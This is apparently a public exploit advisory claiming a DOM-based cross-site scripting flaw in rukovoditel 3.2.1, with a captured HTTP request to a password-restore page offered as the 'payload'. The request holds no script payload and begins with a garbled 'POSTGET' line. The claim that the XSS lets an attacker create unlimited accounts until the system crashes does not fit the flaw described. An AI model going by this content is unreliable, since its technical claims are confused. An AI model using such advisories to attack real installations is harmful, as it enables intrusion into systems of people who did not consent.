rukovoditel 3.2.1 Cross Site Scripting

## Title: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)## Author: nu11secur1ty## Date: 11.03.2022## Vendor: https://www.rukovoditel.net/## Software: https://sourceforge.net/projects/rukovoditel/files/rukovoditel_3.2.1.zip/download## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1## Description:The application is vulnerable to DOM-based cross-site scriptingattacks. Data is read from `location.hash` and passed to`jQuery.parseHTML`.The attacker can use this vulnerability to create an unlimited numberof accounts on this system until it crashed.## STATUS: HIGH Vulnerability - CRITICAL[+] Payload:```POSTGET /rukovoditel/index.php?module=users/restore_password HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63Safari/537.36Connection: closeCache-Control: max-age=0Cookie: sid=jf2mf72r2kfakhhnn6evgusrcg;cookie_test=please_accept_for_session;app_login_redirect_to=module%3Ddashboard%2FUpgrade-Insecure-Requests: 1Referer: http://pwnedhost.com/rukovoditel/index.php?module=users/loginSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1)## Proof and Exploit:[href](https://streamable.com/i1qmfk)## Time spent`3:45`